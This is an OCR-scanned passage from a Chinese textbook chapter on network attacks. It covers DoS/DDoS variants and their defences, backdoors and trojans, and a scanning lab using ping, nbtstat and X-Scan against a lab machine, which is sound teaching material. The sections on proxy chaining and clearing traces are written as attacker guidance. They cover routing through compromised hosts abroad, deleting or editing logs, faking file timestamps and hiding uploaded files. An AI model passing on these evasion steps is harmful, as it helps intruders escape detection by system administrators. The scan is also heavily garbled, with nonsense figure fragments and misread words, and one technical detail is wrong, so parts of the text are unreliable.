网 络 带宽 每 秒 钟 可 以 处 理 10 000 个 攻击 包 , 这 样 一 来 攻击 就 不 会 产生 什么 效果 。 这 时 分 布 
式 的 拒绝 服务 攻击 手段 (DDoS) 就 应 运 而 生 了 。 如 果 说 计算 机 与 网 络 的 处 理 能 力 增 大 了 10 
倍 ,用 一 台 攻 击 机 来 攻击 不 再 能 起 作用 的 话 , 攻 击 者 使 用 10 台 攻 击 机 同时 攻击 呢 ? 用 100 
台 呢 ? DDoS 就 是 利用 更 多 的 倪 偶 机 来 发 起 进攻 ,以 比 从 前 更 大 的 规模 来 进攻 受害 者 。 

分 布 式 拒绝 服务 攻击 DDoS 是 在 传统 的 DoS 攻击 基础 之 上 产生 的 一 类 攻击 方式 。 
DDoS 是 利用 多 台 计 算 机 ,采用 了 分 布 式 对 单个 或 者 多 个 目标 同时 发 起 DoS 攻击 。DDoS 
攻击 由 三 部 分 组 成 : 客户 端 程序 (黑客 主机 )、 控 制 点 (Master)、 代 理 程序 (Zombie) 或 者 称 
为 攻击 点 (Daemon) ,如 图 5-15 所 示 。 

被 DoS 攻击 时 常见 的 一 些 现象 如 下 。 

(1) 被 攻击 主机 上 有 大 量 等 待 的 TCP 连接。 

(2) 网 络 中 充斥 着 大 量 的 无 用 的 数据 包 , 源 地 址 为 假 。 
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Æ 5-15 DDoS 攻击 组 成 


(3) 制造 高 流量 无 用 数据 ,造成 网 络 拥塞 ,使 受害 主机 无 法 正常 和 外 界 通信 。 

(4) 利用 受害 主机 提供 的 服务 或 传输 协议 上 的 缺陷 ,反复 高 速 地 发 出 特定 的 服务 请 求 ， 
使 受害 主机 无 法 及 时 处 理 所 有 正常 请 求 。 

(5) 严重 时 会 造成 系统 死机 。 

2. TCP SYN 拒绝 服务 攻击 

TCP SYN 拒绝 服务 攻击 是 利用 了 TCP/IP 协议 的 固有 漏洞 。 面 向 连接 的 TCP 三 次 握 
手 是 TCP SYN 拒绝 服务 攻击 存在 的 基础 。 

一 般 情况 下 ,一 个 TCP 连接 的 建立 需要 经 过 三 次 握手 的 过 程 ,如 图 5-16 所 示 。 


@[SYN 
客户 机 


T T < SYN+ACK 
@LAC > 
图 5-16 TCP 连接 的 三 次 握手 过 程 
(1) 建立 发 起 者 向 目标 计算 机 发 送 一 个 TCP SYN 报 文 。 
(2) 目标 计算 机 收 到 这 个 SYN 报 文 后 ,在 内 存 中 创建 TCP 连接 控制 块 (TCB) ,然后 向 
发 起 者 回 送 一 个 TCP ACK 报 文 ,等 待 发 起 者 的 回应 。 
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(3) 发 起 者 收 到 TCP ACK 报 文 后 ,再 回应 一 个 ACK 报 文 ,这 样 TCP 连接 就 建立 起 
KT. 
利用 这 个 过 程 , 一 些 恶意 的 攻击 者 可 以 进行 TCP SYN 拒绝 服务 攻击 ,如 图 5-17 所 示 。 


攻击 机 En m 
CHINA] © | asi 
OTS 


图 5-17 TCP SYN 拒绝 服务 攻击 
(1) 攻击 者 向 目标 计算 机 发 送 一 个 TCP SYN 报 文 。 
(2) 目标 计算 机 收 到 这 个 SYN 报 文 后 ,建立 TCP 连接 控制 块 (TCB) ,并 回应 一 个 TCP 
ACK 报 文 ,等 待 发 起 者 的 回应 。 
(3) 而 发 起 者 则 不 向 目标 计算 机 回应 ACK 报 文 ,这 样 导致 目标 计算 机 一 直 处 于 等 待 


© 


可 以 看 出 ,目标 计算 机 如 果 接 收 到 TCP SYN 报 文 ,而 没有 收 到 发 起 者 的 第 三 次 ACK 
回应 ,会 一 直 等 待 (第 三 次 握手 无 法 完成 ) ,这 种 情况 下 服务 器 端 一 般 会 重 试 (再 次 发 送 SYN 
HACK 给 客户 端 ) 并 等 待 一 段 时 间 后 丢弃 这 个 未 完成 的 连接 ,这 段 时 间 称 为 SYN 
Timeout ,一般 来 说 这 个 时 间 是 分 钟 的 数量 级 (30 秒 一 2 分 钟 ); 一 个 用 户 出 现 异常 导致 服务 
器 的 一 个 线程 等 待 1 分 钟 并 不 是 什么 很 大 的 问题 ,但 如 果 有 一 个 恶意 的 攻击 者 大 量 模拟 这 
种 情况 ,服务 器 端 将 为 了 维护 一 个 非常 大 的 半 连 接 列 表 而 消耗 非常 多 的 资源 一 一 数 以 万 计 
的 半 连 接 , 这 将 会 把 目标 计算 机 的 资源 (TCB 控制 结构 ,一 般 情 况 下 是 有 限 的 ) 耗 尽 ,而 不 能 
响应 正常 的 TCP 连接 请 求 。 

针对 SYN 拒绝 服务 攻击 的 防御 措施 主要 有 : 一 类 是 通过 防火 墙 .路 由 器 等 过 滤 网 关 防 
护 , 另 一 类 是 通过 加 固 TCP/IP 协议 栈 防御 。 

网 关 防 护 的 主要 技术 有 SYN-cookie 技术 .基于 监控 的 源 地 址 状态 技术 .缩短 SYN 
Timeout 时 间 。SYN-cookie 技术 实现 了 无 状态 的 握手 ,避免 SYN Flood 的 资源 消耗 。 基 于 
监控 的 源 地 址 状态 技术 能 够 对 每 一 个 连接 服务 器 的 IP 地 址 的 状态 进行 监控 ,主动 采取 措施 
避免 SYN Flood 攻击 的 影响 。 

3. ICMP 洪水 .UDP 洪水 

正常 情况 下 ,为 了 对 网 络 进行 诊断 ,一 些 诊断 程序 ,如 Ping 等 ,会 发 出 ICMP 响应 请 求 
报 文 ICMP ECHO) ,接收 计算 机 接收 到 ICMP ECHO 后 ,会 回应 一 个 ICMP ECHO Reply 
报 文 。 而 这 个 过 程 是 需要 CPU 处 理 的 ,有 的 情况 下 还 可 能 消耗 掉 大 量 的 资源 ,如 处 理 分 片 
的 时 候 。 这 样 如 果 攻 击 者 向 目标 计算 机 发 送 大 量 的 ICMP ECHO 报 文 (产生 ICMP 洪水 )， 
则 目标 计算 机 会 忙于 处 理 这 些 ECHO 报 文 ,而 无 法 继续 处 理 其 他 的 网 络 数据 报 文 ,这 也 是 
一 种 拒绝 服务 攻击 (DoS) 。 

UDP 洪水 的 原理 与 ICMP 洪水 类 似 ,攻击 者 通过 发 送 大 量 的 UDP 报 文 给 目标 计算 机 ， 
导致 目标 计算 机 忙于 处 理 这 些 UDP 报 文 而 无 法 继续 处 理 正常 的 报 文 。 
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4. Smurf 攻击 


Smurf 是 一 种 具有 放大 效果 的 DoS 攻击 ,具有 很 大 的 危害 性 。 这 种 攻击 利用 了 TCP/ 
IP 中 的 定向 广播 的 特性 。 

通常 使 用 ICMP ECHO 请 求 包 用 来 对 网 络 进行 诊断 , 当 一 台 计 算 机 接收 到 这 样 一 个 报 
文 后 ,会 向 报 文 的 源 地 址 回应 一 个 ICMP ECHO Reply 报 文 。 一 般 情况 下 ,计算 机 是 不 检查 
该 ECHO 请 求 的 源 地 址 的 ,因此 如 果 一 个 恶意 的 攻击 者 把 ECHO 的 源 地 址 设置 为 一 个 广 
播 地 址 ,这 样 计算 机 在 回复 ICMP ECHO Reply 报 文 时 ,就 会 以 广播 地 址 为 目的 地 址 ,这 样 
本 地 网 络 上 所 有 的 计算 机 都 必须 处 理 这 些 广播 报 文 。 如 果 攻 击 者 发 送 的 ECHO 请 求 报 文 
足够 多 ,产生 的 ICMP ECHO Reply 广播 报 文 就 可 能 把 整个 网 络 淹没 ,这 就 是 所 谓 的 Smurf 
攻击 。 

除了 把 ECHO 报 文 的 源 地 址 设置 为 广播 地 址 外 ,攻击 者 还 可 能 把 源 地 址 设置 为 一 个 子 
网 广播 地 址 ,这 样 该 子 网 所 在 的 计算 机 就 可 能 受 影响 。 

为 了 防止 成 为 DoS 的 帮凶 ,最 好 关闭 外 部 路 由 器 或 防火 墙 的 广播 地 址 特性 ; 在 防火 墙 
上 过 滤 掉 ICMP 报 文 ,或 者 在 服务 器 上 禁止 Ping, 并 且 只 在 必要 时 才 打 开 Ping 服务 。 

5. 泪 滴 攻 击 

利用 在 TCP/IP 堆栈 中 实现 信任 IP 碎片 中 的 包 的 标题 头 所 包含 的 信息 来 实现 自己 的 
攻击 。IP 分 段 含 有 指明 该 分 段 所 包含 的 是 原 包 的 哪 一 段 的 信息 , 某 些 TCP/IP (包括 
Service Pack 4 以 前 的 Windows NT) 在 收 到 含有 重 释 偏 移 的 伪造 分 段 时 将 崩 演 。 

对 于 一 些 大 的 了 了 包 , 需 要 对 其 进行 分 片 传送 ,这 是 为 了 迎合 链 路 层 的 MTU( 最 大 传输 
单元 ) 的 要 求 。 例 如 ,一 个 4500 字 节 的 卫 包 ,在 MTU 为 1500 字 节 的 链 路 上 传输 时 ,就 需 
要 分 成 3 个 IP 包 。 

在 IP 报头 中 有 一 个 偏 移 字段 和 一 个 分 片 标志 (MEF) ,如 果 MF 设置 为 1, 则 表面 这 个 IP 
包 是 一 个 大 IP 包 的 片断 ,其 中 偏 移 字段 指出 了 这 个 片断 在 整个 IP 包 中 的 位 置 。 例 如 ,对 一 
个 4500 字 节 的 IP 包 进 行 分 片 (MTU 为 1500 字 节 ) , 则 3 个 片断 中 偏 移 字段 的 值 依次 为 0、 
1500、3000。 这 样 接收 端 就 可 以 根据 这 些 信息 成 功 地 组 装 该 IP 包 。 

如 果 一 个 攻击 者 打破 这 种 正常 情况 ,把 偏 移 字段 设置 成 不 正确 的 值 , 即 可 能 出 现 重 合 或 
断 开 的 情况 ,就 可 能 导致 目标 操作 系统 崩溃 。 例 如 ,把 上 述 偏 移 设置 为 0.1300、.3000, 这 就 
是 所 谓 的 泪 滴 攻击 。 

防御 泪 滴 攻击 的 最 好 办 法 是 升级 服务 包 软 件 , 如 下 载 操作 系统 补丁 或 升级 操作 系统 等 ; 
在 设置 防火 墙 时 对 分 组 进行 重组 ,而 不 进行 转发 ,这 样 也 可 以 防止 这 种 攻击 。 


5.4 网 络 后 门 与 网 络 隐身 技术 


在 大 多 数 情况 下 ,攻击 者 入 侵 一 个 系统 后 ,他 可 能 还 想 在 适当 的 时 候 再 次 进入 系统 。 比 
如 说 ,如 果 攻 击 者 入侵 了 一 个 站 点 ,将 它 作为 一 个 对 其 他 系统 进行 攻击 的 平台 或 者 是 跳板 ， 
他 就 会 想 在 适当 的 时 候 登录 到 这 个 站 点 取 回 他 以 前 存放 在 系统 里 面 的 工具 进行 新 的 攻击 。 
很 容易 想到 的 方法 就 是 在 这 个 已 经 被 入 侵 的 系统 中 留 一 个 后 门 。 但 是 ,非常 关键 的 是 ,不 但 
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要 留 下 下 次 进入 的 通道 ,而 且 还 要 对 自己 所 做 的 一 切 加 以 隐藏 ,如 果 建 立 起 的 后 门 马 上 就 被 
管理 员 发 现 就 没有 任何 用 处 了 。 


5.4.1 网 络 后 门 


简单 地 说 ,后 门 (Backdoor) 就 是 攻击 者 再 次 进入 网 络 或 者 系统 而 不 被 发 现 的 隐蔽 通道 。 
最 简单 的 方法 就 是 打开 一 个 被 端口 监听 代理 所 监听 的 端口 ,有 很 多 软件 可 以 做 到 这 一 点 。 

如 果 用 户 使 用 端口 扫描 器 对 网 络 内 部 所 有 计算 机 从 端口 1 到 端口 1023 进行 扫描 的 话 ， 
如 果 攻 击 者 打开 的 端口 是 5050, 那 么 就 永远 也 不 会 被 发 现 。 这 也 是 我 们 在 扫描 时 必须 对 所 
有 的 计算 机 从 端口 1 到 端口 65535 进行 扫描 的 原因 。 而 且 不 是 一 次 就 可 以 了 ,需要 两 次 ,一 
次 为 TCP ,一 次 为 UDP。 因 为 越 来 越 多 的 公司 已 经 渐渐 地 加 强 了 对 TCP 端口 的 管理 而 忽 
视 了 UDP 端口 的 管理 ,所 以 很 多 攻击 者 将 开放 的 端口 都 选择 在 UDP 端口 了 。 

如 果 获 得 了 系统 的 存储 权时 ,建立 后 门 时 相当 容易 的 ,但 是 在 没有 完全 获得 对 系统 的 存 
取 权 限时 ,一 般 可 以 通过 使 用 木马 来 实现 。 木 马 是 一 种 可 以 驻 留 在 对 方 系统 中 的 一 种 程序 。 
木马 一 般 由 两 部 分 组 成 : 服务 器 端 和 客户 端 。 驻 留 在 对 方 服 务 器 的 称 为 木马 的 服务 器 端 ， 
远程 的 可 以 连 到 木马 服务 器 的 程序 称 为 客户 端 。 木 马 的 功能 是 通过 客户 端 可 以 操纵 服务 
器 ,进而 操纵 对 方 的 主机 。 木 马 程序 在 表面 上 看 上 去 没有 任何 的 损害 ,实际 上 隐藏 着 可 以 控 
制 用 户 整个 计算 机 系统 .打开 后 门 等 危害 系统 安全 的 功能 。 

木马 来 自 于 “特洛伊 木马 ” ,英文 名 称 为 Trojan Horse。 传 说 希腊 人 围攻 特洛伊 城 ,久久 
不 能 攻克 ,后 来 军师 想 出 了 一 个 特洛伊 木马 计 ,让 士兵 藏 在 巨大 的 特洛伊 木马 中 部 队 假装 撤 
退 而 将 特洛伊 木马 丢弃 在 特洛伊 城下 ,让 敌人 将 其 作为 战利品 拖 入 城中 ,到 了 夜里 ,特洛伊 
木马 内 的 士兵 便 趁 着 夜里 敌人 庆祝 胜利 .放松 警惕 的 时 候 从 特洛伊 木马 里 悄悄 地 疏 出 来 ,与 
城 外 的 部 队 里 应 外 合 攻 下 了 特洛伊 城 。 由 于 特洛伊 木马 程序 的 功能 和 此 类 似 , 故 而 得 名 。 

对 于 大 多 数 特 洛 伊 木马 程序 来 说 ,服务 器 端 程序 的 功能 就 是 在 受 攻击 的 系统 中 建立 后 门 。 


5.4.2 设置 代理 跳板 


当 从 本 地 入 侵 其 他 主机 的 时 候 , 自 己 的 IP 会 暴露 给 对 方 。 如 果 将 某 一 台 主 机 设置 为 代 
理 ,通过 该 主机 青 入 侵 其 他 主机 ,这 样 就 会 留 下 代理 的 IP 地 址 ,那么 就 可 以 有 效 地 保护 自己 
的 安全 。 二 级 代理 的 基本 结构 如 图 5-18 所 示 。 


本 地 计算 机 代理 服务 器 一 代理 服务 器 二 被 入 侵 的 主机 
图 5-18 二 级 代理 的 基本 结构 
本 地 通过 两 级 代理 入 侵 某 一 台 主 机 ,这 样 在 被 入 侵 的 主机 上 就 不 会 留 下 的 自己 的 信息 。 
可 以 选择 更 多 的 代理 级 别 , 但 是 考虑 到 网 络 带 宽 的 问题 ,一 般 选 择 两 到 三 级 代理 比较 合适 。 
选择 代理 服务 的 原则 是 选择 不 同 地 区 的 主机 作为 代理 。 例 如 ,现在 要 入 侵 北 美的 某 一 
台 主 机 ,选择 南非 的 某 一 台 主 机 作为 一 级 代理 服务 器 ,选择 北欧 的 某 一 台 计 算 机 作为 二 级 代 


了 
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理 , 再 选择 南美 的 一 台 主 机 作为 三 级 代理 服务 器 ,这 样 就 很 安全 了 。 
可 以 选择 做 代理 的 主机 有 一 个 先决 条 件 ,必须 先 安装 相关 的 代理 软件 ,一 般 都 是 将 已 经 
被 入 侵 的 主机 作为 代理 服务 器 。 


5.4.3 清除 日 志 


当成 功 获取 了 存 取 权限 且 完 成 了 自己 的 预定 目标 后 ,攻击 者 还 有 最 后 一 个 工作 要 完 
成 一 一 隐藏 攻击 踪迹 。 这 其 中 包括 重新 进入 系统 ,将 所 有 能 够 表明 他 曾经 来 过 的 证 据 隐 藏 
起 来 。 为 达到 这 个 目的 ,有 以 下 4 个 方面 的 工作 要 做 。 

1. 日 志文 件 

大 多 数 系统 都 是 通过 记录 日 志文 件 来 检测 是 谁 进 入 过 系统 并 且 停 留 了 多 长 时 间 。 根 据 
日 志文 件 所 设置 的 级 别 不 同 , 还 可 以 发 现 他 们 做 了 些 什么 ,对 哪些 文件 进行 了 操作 。 

在 利用 日 志文 件 监测 之 前 ,必须 先 做 两 件 事 : 第 一 ,必须 将 系统 的 日 志 记录 功能 打开 ; 
第 二 ,对 日 志文 件 内 容 进 行 详细 阅读 。 很 多 管理 员 没有 将 记录 日 志文 件 的 功能 选项 打开 ,而 
且 即 使 打开 了 ,也 没有 对 它 进行 定时 阅读 。 所 以 ,即使 黑客 没有 对 自己 的 踪迹 进行 任何 的 消 
隐 , 也 有 很 大 的 可 能 不 被 发 现 。 有 经 验 的 攻击 者 都 不 会 骨 这 个 险 , 他 们 会 清除 所 有 的 日 志文 
件 。 可 以 采取 以 下 两 种 方式 。 第 一 种 方法 是 进入 系统 然后 将 所 有 的 日 志文 件 删除 。 当 数量 
很 大 的 日 志文 件 突然 之 间 变 得 很 少 的 话 , 系 统 会 自动 通知 系统 管理 员 ,因为 每 个 日 志文 件 的 
结束 处 ,都 有 一 个 触发 器 。 

第 二 种 方法 是 攻击 者 可 以 “医治 ”日 志文 件 ,首先 取得 日 志文 件 然后 将 其 中 有 关于 攻击 
记录 的 部 分 删除 。 根 据 所 攻击 的 系统 不 同 , 工 作 的 难度 有 所 不 同 , 因 为 Windows NT 系统 
和 UNIX 系统 处 理 日 志文 件 的 方法 不 同 。 

2. 文件 信息 


为 了 获得 系统 的 存 取 权限 和 在 系统 中 建立 后 门 ,攻击 者 通常 必须 对 某 些 系统 文 件 进行 
修改 。 当 他 们 这 样 做 后 ,文件 的 一 些 信息 ,比如 说 修改 时 间 和 文件 长 度 就 会 发 生变 化 ,通过 
这 些 也 可 以 确定 系统 是 否 曾经 遭受 过 攻击 。 

对 于 攻击 者 而 言 , 在 进入 系统 并 且 植 人 后 门 程序 以 后 再 把 系统 还 原 成 以 前 的 状态 是 非 
常 关键 的 。 因 此 ,每 一 个 曾经 被 修改 的 文件 都 应 该 被 恢复 成 或 者 假扮 成 原状 。 

对 于 文件 的 修改 日 期 来 说 ,可 以 轻而易举 做 到 这 一 点 : 进入 系统 ,将 系统 时 间 修 改 成 第 
一 次 修改 文件 的 时 间 ,然后 对 文件 进行 读 取 , 因 为 系统 并 不 清楚 当前 的 日 期 是 错误 的 ,这 样 
文件 看 起 来 就 像 是 在 第 一 次 安装 时 修改 过 的 一 样 ,不 会 引起 怀疑 。 然 后 再 将 原来 错误 的 日 
期 改变 成 正确 的 日 期 。 

3. 另外 的 信息 


在 很 多 情况 下 ,黑客 为 了 达到 进入 系统 获取 权限 目的 ,必须 另外 上 传 或 者 安装 一 些 文 
件 。 这 些 用 来 隐藏 踪迹 或 者 用 来 对 别 的 站 点 进行 新 攻击 的 文件 通常 会 占用 一 定 的 磁盘 空 
间 。 系 统管 理 员 可 以 通过 磁盘 剩余 空间 的 检查 来 确定 是 否 发 生 过 攻击 。 

攻击 者 想 隐 藏 他 们 上 传 的 系统 附加 文件 ,他 们 可 以 使 用 以 下 几 种 方法 。 

(1) 为 文件 设置 隐藏 属性 。 所 有 的 文件 系统 都 可 以 让 文件 的 属 主将 文件 设置 为 隐藏 。 
当 某 个 文件 设置 为 隐藏 ,如果 用 户 仅仅 是 使 用 命令 显示 文件 时 ,就 不 能 够 看 到 这 个 文件 。 
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(2) 将 文件 重 命名 。 在 大 多 数 系统 中 ,都 有 一 个 系统 目录 ,其 中 存放 了 很 多 重要 的 文 
件 。 攻 击 者 可 以 将 自己 的 文件 名 字 改 成 与 这 些 文件 差不多 ,那么 被 管理 员 发 现 的 可 能 性 就 
非常 小 。 这 适合 要 隐藏 的 文件 比较 少 的 情况 。 

(3) 建立 隐藏 的 目录 或 者 是 共享 设备 。 如 果 一 个 硬盘 空间 很 大 的 话 , 可 以 创建 很 多 个 
分 区 。 一 般 情 况 下 ,系统 管理 员 只 检查 系统 的 主要 分 区 ,因此 如 果 攻 击 者 建立 了 一 个 另外 的 
分 区 ,很 可 能 就 会 逃 过 系统 管理 员 的 检查 。 这 适合 需要 隐藏 大 量 文件 的 情况 。 

(4) 改变 磁盘 空间 的 工具 。 如 果 管 理 员 使 用 某 个 工具 来 检查 系统 剩余 空间 的 话 , 他 就 
会 发 现 硬盘 空间 的 问题 。 而 如 果 攻 击 者 能 够 上 传 一 个 木马 的 话 , 就 可 以 欺骗 管理 员 有 多 少 
空间 剩余 。 

(5) 使 用 Steganography 工具 。 使 用 Steganography 工具 或 者 是 信息 隐藏 工具 都 可 以 
使 攻击 者 将 自己 的 信息 隐藏 到 另外 一 个 文件 中 。 所 以 黑客 利用 这 种 工具 ,将 自己 重要 的 文 
件 隐 藏 到 系统 重要 的 文件 中 去 。 

4. 网 络 通信 流量 

当 黑 客 对 某 个 系统 进行 攻击 时 ,大 多 数 情况 下 是 通过 网 络 进 行 的 。 这 也 意味 着 攻击 者 
必须 对 自己 在 网 络 上 留 下 的 痕迹 进行 清除 。 由 于 网 络 系统 都 运行 着 IDS( 入 侵 检测 系统 )， 
任何 可 疑 的 网 络 通信 都 会 被 打上 标记 。 而 要 抹 去 IDS 上 的 记录 是 非常 困难 的 ,因为 它 是 实 
时 监测 的 。 

随 着 网 络 人 侵 检测 系统 和 防火 墙 的 广泛 使 用 ,攻击 者 需要 注意 如 何 隐藏 网 络 上 的 踪迹 。 
如 果 攻 击 者 能 够 隐藏 自己 的 攻击 或 者 将 它们 假扮 成 网 络 上 的 合法 的 通信 信息 ,使 它们 看 起 
来 不 那么 引 人 注 目 ,就 有 可 能 逃脱 被 追捕 的 命运 。 可 以 利用 的 工具 如 Loki, Reverse www 
shell .CovertTCP。 前 两 个 工具 是 将 攻击 者 所 留 下 的 痕迹 假扮 成 网 络 合法 的 通信 信息 ,第 三 
个 工具 是 通过 将 这 些 痕 迹 隐藏 在 数据 包 中 来 躲避 管理 员 的 检测 。 


实 训 5 信息 收集 与 漏洞 扫描 


1. 实 训 目 的 

通过 本 实 训 初步 了 解 网 络 入侵 和 攻击 的 方法 以 及 一 般 的 应 对 方法 ,掌握 常见 工具 的 基 
本 应 用 ,主要 包括 了 解 网 络 主机 信息 收集 的 方法 和 工具 .了解 安 全 扫描 技术 。 

2. 实 训 内 容 

(1) 使 用 常见 工具 对 目标 主机 进行 信息 收集 。 

(2) 漏洞 扫描 。 

3. 实 训 环境 

实验 设备 : Windows XP 系统 .VMware 系统 ,Windows 2000 虚拟 机 。 

4. 实 训 步骤 


1) 利用 工具 软件 收集 信息 
(1) Ping. Ping 用 来 判断 目标 是 否 活动 ,是 最 常用 、 最 简单 的 探测 手段 ; Ping 程序 一 般 
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是 直接 实现 在 系统 内 核 中 的 ,而 不 是 一 个 用 户 进程 。 
由 于 不 同系 统 对 ICMP 做 出 的 响应 不 同 ,因此 TTL 字段 值 可 以 帮助 人 们 识别 操作 系 
统 类 型 ,Ping 不 同 操作 系统 的 TTL 取 值 不 同 ,如 表 5-1 所 示 。 


表 5-1 操作 系统 类 型 与 TIL 对 应 表 


操作 系统 类 型 TIL 值 操作 系统 类 型 TIL 值 
Windows 95/98/ME 32 FreeBSD 4. 1/ 4. 0/3. 4 255 
Windows NT/2000 128 Sun Solaris 2. 5. 1/2. 6/2. 7/2. 8 255 
Linux Kernel 2, 2. x/2. 4. x 64 OpenBSD 2. 6/2. 7 255 
Compaq Tru64 5. 0 64 NetBSDHP UX 10. 20 255 


- 般 Ping 出 来 的 TTL 值 可 能 不 是 以 上 所 提 的 数字 ,往往 只 是 一 个 接近 的 值 。TTL 值 
每 经 过 一 个 路 由 器 就 会 减 1, 如 果 减 到 0 就 会 被 抛弃 。 如 果 TTL=50 就 是 用 户 发 一 个 数据 
到 用 户 Ping 的 地 址 期 间 要 通过 14 个 路 由 器 。 如 果 TTL=126 就 是 中 间 要 通过 2 个 路 由 器 。 
因此 ,如 果 接 近 255 就 是 UNIX 系统 ,如 果 接 近 128 就 是 Windows 系统 。 
例如 ,Ping 新 浪 网 站 的 域名 。 


C:\> Ping www. sina. com, cn 
Pinging tucana. sina. com.cn [60. 28.175.227] with 32 bytes of data: 


Reply from 60. 28. 175.227: bytes = 32 time = 44ms TTL = 53 
Reply from 60. 28.175.227: bytes = 32 time = 43ms TTL = 53 
Reply from 60.28.175.227: bytes = 32 time = 44ms TTL = 53 
Reply from 60. 28.175.227: bytes = 32 time = 46ms TTL = 53 


Ping statistics for 60.28.175.227: 

Packets: Sent = 4, Received = 4, Lost = 0 (0% loss), 
Approximate round trip times in milli- seconds: 

Minimum = 43ms, Maximum = 46ms, Average = 44ms 


(2) tracert. tracert 用 来 跟踪 从 本 地 开始 到 达 某 一 目标 地 址 所 经 过 的 路 由 设备 ,并 显示 
出 这 些 路 由 设备 的 下. 连接 时 间 等 信息 。 例 如 ,tracert www. sina. com. cn 结果 如 图 5-19 所 示 。 


选 定 C NDOWS\system32\cué BEE 


图 5-19 tracert 结果 
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(3) Nbtstat。Nbtstat 主要 用 于 对 NetBIOS 系统 (特别 是 Windows 计算 机 ) 的 侦 测 ,可 
获知 目标 系统 的 信息 和 当前 登录 的 用 户 , 判 断 目 标 系统 上 的 服务 , 读 取 和 清除 其 Cache 中 的 
内 容 等 。 网 络 人 侵 者 可 以 通过 从 Nbtstat 获得 的 输出 信息 开始 收集 有 关 对 方 机 器 的 信息 。 

如 果 已 知 某 台 Windows 主机 的 IP 地 址 ,输入 命令 “Nbtstat - A 192. 168. 0. 111? 可 以 
查看 其 名 字 列 表 , 如 图 5-20 所 示 。 


Registered 
Registered 
Registered 
Registered 


Registered 
Registered 
Registered 
Registered 
Registered 
Registered 
Registered 
Registered 


图 5-20 查看 远程 主机 的 名 字 列表 


通过 检查 Nbtstat 命令 的 结果 ,可 以 找到 二 03 二 识别 符 。 采 用 二 03 二 识别 符 的 表 目 是 
用 户 名 或 机 器 名 。 如 果 有 人 从 本 地 登录 到 该 机 器 上 ,就 会 看 到 两 个 二 03 二 识别 符 。 在 一 般 
情况 下 ,第 一 个 二 03 二 识别 符 是 机 器 的 NetBIOS 名 字 ,第 二 个 二 03 二 识别 符 是 本 地 登录 用 
户 的 名 字 。 

2) 专用 扫描 工具 

(1) X-Scan。X-Scan v3. 3 采用 多 线程 方式 对 指定 IP 地 址 段 进行 扫描 ,扫描 内 容 包 括 
SNMP 信息 .CGI 漏洞 .IIS 漏洞 、RPC 漏洞 .SSL 漏洞 .SQL-Server、SMTP-Server、 弱 口令 
用 户 等 。 扫 描 结 果 保 存在 /log/” 目 录 中 。 其 主 界面 如 图 5-21 所 示 。 


文件 BHM) BE) IAW Lame BHD) 
oj» me| 图 | 国 当 | 回 
普通 信息 | 漏洞 信息 | 错误 信息 | 


[X-Scan-v3.3 使 用 说 明 


[—. AREER : Windows NT/2000/XP/2003 
理论 上 可 运行 于 Windows 碳 系 列 换 作 系统 ， 推 荐 运行 于 Windows 2000 以 上 的 Server 版 Windows 系 统 。 


| 二 功能 简介 = 


ee i ayer 
ee 实在 
ies eee, 


ae 
r BRE KSes eee nei a 
接 获 取 详 细 资 料 : “http://www. xfocus. net/projects/X-Scan/index. html” e 


|Z. 所 需 文件 : 
xscan_gui. exe 一 YX-Scan 图 形 界面 主 程序 


Æ 5-21 X-Scan 启动 界面 
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第 1 步 : 配置 扫描 参数 。 首 先 选 择 * 设 置 * 一 扫描 参数 ?选项 ,在 打开 的 对 话 框 中 输入 
要 扫描 主机 的 IP 地 址 (或 是 一 个 范围 ) 。 本 实验 中 设置 为 靶 机 服务 器 的 IP 地 址 “192. 168. 
20. 245”, 如 图 5-22 所 示 ; 其 他 参数 的 设置 如 图 5-23 所 示 。 


192.168. 20. 245 


到 


er | a] Cae] ws | 


图 5-23 X-Scan 扫描 参数 设置 2 
为 了 大 幅度 提高 扫描 的 效率 ,选择 跳 过 Ping 不 通 的 主机 , 跳 过 没有 开放 端口 的 主机 。 
其 他 的 如 “端口 相关 设置 "等 可 以 进行 诸如 扫描 某 一 特定 端口 等 特殊 操作 (X-Scan 默认 也 只 
是 扫描 一 些 常用 端口 ), 如 图 5-24 所 示 。 
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Perera 


CGI 相关 设置 r 显示 详细 进度 
FRI 
BA BE 取消 


图 5-24 X-Scan 扫描 参数 设置 3 


第 2 步 : 选择 需要 扫描 的 项 目 。 单 击 “ 扫 描 模 块 ", 可 以 选择 扫描 的 项 目 , 如 图 5-25 
所 示 。 


开放 县 
M N-Server 330S 
回 MetBios 信 息 


KIK 

z 

Da m: 

Sinan 
Dw 
Ds 


对 REXEC 弱 口令 进行 检 
SH" gapi“ 
其 地 字典 。 


Ein 
h 


NETBIOSHAX ARE 
MANERE 
CGI 相关 设置 
字典 文件 设置 


EFFERRE G 


Æ 5-25 X-Scan 扫描 项 目 设置 


第 3 步 : 开始 扫描 ,如 图 5-26 所 示 。 该 扫描 过 程 会 比较 长 ,请 大 家 耐心 等 待 , 并 思考 各 
种 漏洞 的 含义 。 扫 描 结束 后 会 自动 生成 检测 报告 .然后 选择 “报表 类 型 "为 HTML 格式 ,如 
图 5-27 所 示 。 

第 4 步 : 生成 报表 如 图 5-28 和 图 5-29 所 示 。 
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B 


192. 168.20. 245 
Eh 开放 服务 
B-@ 139/tep 
由 - 目 443/tep 
-© 563/tep 
H-O 445/tep 
-© 80/tep 
由 -四 119/tep 


四 入 机 -Server 弱 口令 


192, 168. 20. 245 


192. 168. 20. 245 265 240 1 | Eee 


"NT-Server: 


| 
| 
| 
| 
| 
+ 
| 
| 


“Sean v3.3 
$e http: /rw xfocus net (中 文 站 )， 
ttp://www. xfocus. org GEE) 


WBE 
分 段 检测 存活 主机 ， .| 
MIB TALI 《 用 时 2. 62 秒 ) 
检测 “192. 168. 20.245” 
fees BERN RES nce 
Server’ 7 
[192. 168. 20. 245]: IPC$ 空 会 话 成 功 


图 5-26 X-Scan 扫描 过 程 


[sz 168 20 245 report html al 


E 5-27 X-Scan 扫描 结果 


192,168.20.245 


发 现 安全 漏洞 


1025, 1521, 3389 


主机 岳 要 - 05: windows 2000; PORT/TCP: 21, 25, 80, 119, 135, 139, 443, 445, 563, 


图 5-28 X-Scan 扫描 报告 1 


第 5 章 网络 攻击 技术 149 


主机 地 址 | 端口 /服务 
|192,168,20.245 netbios-ssn (139/tep) 
|192.168.20.245 https (443jtcp) 


192.168,20,245 INNTP-ssl (563/tcp) 
192.168.20.245 ww (443 /tep) 
192.168,20.245 imicrosoft-ds (445/tcp) 
192,168,20.245 www (80ftcp) 


192,168,20,245 inntp (119/tep) 
192,168,20,245 
192,168,20,245 ftp (21 ft 
2 2 ‘Windows Terminal Services 
192.168,20,245 (asoep) 
192,168,20,245 lepmap (135/tcp) 


